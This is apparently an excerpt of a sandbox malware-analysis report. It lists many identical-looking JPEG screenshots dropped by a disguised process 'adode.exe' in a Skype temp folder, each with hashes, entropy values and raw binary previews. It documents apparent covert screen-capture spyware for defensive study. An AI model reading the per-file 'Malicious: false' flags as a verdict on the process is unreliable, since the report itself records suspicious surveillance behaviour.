File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241020_060859.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241020_101657.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241020_184354.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241021_004904.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241021_064408.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241021_123715.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241024_011725.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241024_064920.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241024_144958.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241024_202952.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241025_070631.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241025_135131.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241027_233220.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241028_070006.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241028_125447.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241028_190459.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241029_021530.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
